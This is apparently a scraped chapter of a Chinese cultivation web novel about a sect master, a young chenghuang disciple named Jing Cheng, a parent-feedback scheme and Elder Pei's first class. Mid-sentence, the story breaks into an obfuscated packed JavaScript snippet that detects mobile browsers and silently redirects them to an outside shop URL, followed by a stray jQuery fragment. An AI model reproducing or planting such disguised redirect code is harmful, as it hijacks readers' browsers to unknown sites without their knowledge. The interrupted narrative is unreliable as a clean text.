就在乘黄出现不到两分钟的时候,何焕就发现了他的踪迹。
事实证明,依靠人力查监控还是存在某些局限性。以后要是有合适的机会,何焕绝对会在宗门系统中装载对应的辅助插件。
他在到达目的地后找了个合适的地方围观,并主动放出自己的气息,让年年的心里有个底。
从当前的局势来看,让年年和乘黄一族交涉显然是上策。
何焕不知道是什么乘黄让改变了原本的态度,选择让景澄留在这里,但留下个欧皇总是好事,没有人会讨厌好运气。
短暂的取舍之后,何焕放弃了露面的打算。
身为一宗之主,威严和逼格都很重要。何焕时时刻刻都在努力完善自己高深莫测的人设,在他看来,神秘也是补充人设的一部分。
至少在外界人眼中,何焕不能在他们心底留下类似于“软柿子”这类的糟糕形象。修真界的斗法往往发生在分秒之间,一瞬间的迟疑足以左右战局。
何焕在没有绝对把握的时候一般不作死,除非作死带来的利益大到难以想象。
不过,站在宗门的立场上,也不能什么都不做。
既然学生家长都找上门来了,好歹要表示一下自己的态度,顺便画个能将孩子教好的大饼。
这一套话术何焕在补习机构中看多了,很多将信将疑的家长被机构里的招生老师一忽悠,就不知不觉给孩子报了一连串补习班。
似乎是想到了什么,何焕忍住笑声,向年年的通讯符中传了一个文档。
*
身为合欢宗的执法长老,年年自然也拥有一枚通讯符。
只是这玩意用猫咪的爪垫不好操作,输入文字的时候非常困难,于是在收到宗主的信息后,年年久违的化作了人形。
那是一位年岁约在双十年华的女性,墨发如云,身量高挑,穿着由金貔貅商会提供的长老制服。她的情绪起伏不大,配合一对碧绿竖瞳,带有一股拒人于千里之外的疏离感。
只是,这位冷淡的妖修偏偏做出了一件极为反常的事。她从储物灵器中拿出了通讯符,不甚娴熟地在屏幕上划着。
很快,年年放下了通讯符,表情有些怪异。
年年:“是这样的,我们宗门一向支持轻松化教育,并给予门下弟子足够的自由。然而,考虑到你家孩子是第一届通过招生大会进入宗门的弟子,家长对宗门的教育方式不信任也很正常。所以,我们的宗主提前考虑到了这一点。”
景澄一听感觉大事不妙,总觉得背后凉飕飕的,但他并没有办法阻止长老和小叔的交谈。
年年将自己的通讯号展示给景澄的小叔景尚,示意对方添加好友,在申请通过后迅速将一份文档传输过去。
景尚一看,标题是“邀你同步参与孩子的教育!宗门和家庭的双向反馈,才是孩子成长的加速器。”
好长的标题,却用大白话将文档中的核心内容概括了一遍。
景尚顿时有了兴趣,他在景澄惊恐的目光中点开了文档。随着阅读的进度不断增加,景尚的表情也逐渐变得玩味。
定期向家长汇报孩子的学习情况这点不错!还能附带一段清晰的视频和数张照片。
还有这个家长会是什么东西?好像很有趣。
看到这里,景尚的手指微微一动,将文档转发到了其中一个家族群。
仅仅只是几个呼吸间,文档的下载量就迅速增加,显然同族们都非常关注这件事。
在长辈们的要求下,景尚向年年问道:“修真界中一向提倡加入宗门的弟子主动斩断尘缘,而合欢宗似乎和约定俗成的规则相悖?”
年年歪了歪头,反而将这个问题轻巧的抛了回去:“都追到宗门来了,你们的族群好像也放心不下族中的小辈。”
景尚假笑一声,结束了这个话题:“那我家孩子就拜托你们照顾了。”
而年年趁机给出同事的联系方式:“无妨,这里是外门长老裴毅中的通讯号,在这段时间内景澄的学习由他负责,等他建好家长群后会将你拉进去。”
这边年年和景尚开始友好交流,另一边的景澄只觉得大事不妙。
好巧不巧,景澄并不在景尚传文档的家族群中,因此不知道宗门和家族之间达成了怎样歹毒的协定。更别提光是从交流的内容中,他就听见了很多不太美好的词汇。
在这样的情况下,景澄觉得自己必须挣扎一下,对着小叔弱弱的提出抗议。
然而,幼年毛茸茸的抗议被景尚的巴掌给迅速镇压,他用看啥子的慈爱目光看了一眼景澄,趁他没有反应过来就转身离开。
景澄:???
家里出了个叛徒!
但是这宗门是自己主动考的,哭着也要把学业完成。
这一晚,景澄瞪着死鱼眼在榻上翻来覆去的烙饼。好在室友的睡眠质量出乎寻常的高,不然几个白眼是跑不了了。
*
周一是自习课,宗门中的弟子可以自行前往悟道台修炼,或是在宿舍中摆烂。
景澄在继续补觉和预习即将学习的心法之间选择了后者。
幼崽向来记吃不记打,之前的负面情绪几乎没有对他造成任何影响,很快就被消化完了。
因为乘黄一族中有大乘期老祖宗坐镇,景澄在开智没多久,就跟着长辈学习过乘黄一族代代相传的基础功法。
本着先入为主的概念,景澄其实是看不上宗门发放的无品功法的。
但随着阅读进度的加深,他眼中的惊愕也越发明显。
景澄从未想过太初心法居然会这么完美,攻守兼备的同时,还能不断拓宽筋脉,以便容纳更多的灵气。而且,这门功法的修炼门槛很低,从不限制种族,堪称万金油一样的存在。
若是放在修仙世家中,必然会当成传家宝层层保护起来,唯有核心成员才有资格修炼。
但放在合欢宗这里,却被宗主轻描淡写的定为外门弟子的入门功法,供进入宗门的所有弟子修习。
这是何等的大手笔!
外门弟子修习的功法已然不俗,那内门弟子的修炼资源岂不是更加离谱。
景澄收起了眼中的轻视,静下心来参悟太初心法。他第一次感到时间不够用,等退出修炼状态的时候,宗门里的食堂都快关了。
次日上午八点半,合欢宗真正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821569|209363||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
意义上的第一次基础课正式开始,授课的是外门长老裴毅中。大家对这节课似乎都很重视,没有任何一个弟子迟到或缺席。
课程开始前,裴毅中展示了群聊的号码,将在场的所有弟子都拉了进去。
景澄自然也是其中之一,考虑到他暂时没有办法化形,所以他的座位在授课处的第一排。
他用爪子捂着脸,只觉得异常社死,这样特殊安排的背后必定是族中长辈的手笔。
凭借灵力波动,景澄意识到这位外门长老的修为仅仅只有筑基期巅峰。在正常情况下,筑基期的修为做个内门弟子都不够格,宗主将他定为长老,属实是怪异无比。
景澄环顾四周,发现其他同门也是一样的想法,但没有人贸然提出质疑。
有个弟子似乎想要说些什么,可他在开口前就被旁边的同门给拉住了。凭借口型,景澄勉强分辨出“别冲动、修为有异”这两个关键词。
可是,这位冲动的同门并未成功拦下。很快,他就找到了机会。
“堂堂修仙宗门为何会指派一个筑基期的修士来为外门弟子授课?此举是不是有些不妥?”
裴长老平静的看了他一眼,常年身居高位的经历让他的眼神极具威慑力。提问弟子的脸青一阵白一阵,一时间下不了台。
“在死过一次之后,我才意识到自己的认知是狭窄的。过去种种我已暂时抛弃,现在的我只是宗门的一份子罢了。”
听见这明显的暗示性话语,景澄的耳朵微微一动,他集中精神再次往裴长老的方向看去。
果然,这一眼让他发现了端倪。
裴长老的身上似乎有弃道重修的痕迹!
要知道,道是每一个修士的立身之本,他们今后修炼的每一步,都是在尽可能诠释自己的道途。
弃道重修无异于主动自杀!而从这位裴长老来看,他已然完成了这一步,抛却过往的痕迹,去感悟新的道。
这个决定是极其具有魄力的。
至少景澄自己做不到这一点。
元婴期以后,修士能得到重塑躯体的机会,他们大多会将自己的外表保持在自己年轻时候的样子。裴长老的样子显然是弃道重修的后遗症,难怪他的面容格外沧桑,背后竟有这样的缘由。
而且裴长老在自我介绍中也提到,他加入宗门的时间不到三天。从他的气息上判断,已经成功领悟了太初心法的全部内容,以如此恐怖的速度完成悟道,可见天赋异禀。
景澄越想越是心惊。
这样的存在还只是个外门长老,那其他未曾露面的长老岂不是还要恐怖?而五千年内唯一得到建宗令的宗主,只会更加强大。
他立刻收起了打量的眼神,以端正的态度坐在位置上装傻。
其他同门也或多或少反应过来了,一时间,授课处安静得只能听见彼此的呼吸声。
好在裴毅中的脾气不错,并没有在意弟子们的冒犯。他轻咳几声让弟子们的注意力集中到自己身上,再根据自己的领悟讲解太初心经。
这一次,弟子们的态度好了很多。
他们没有打岔,尽可能将裴长老讲述的知识点记在心里。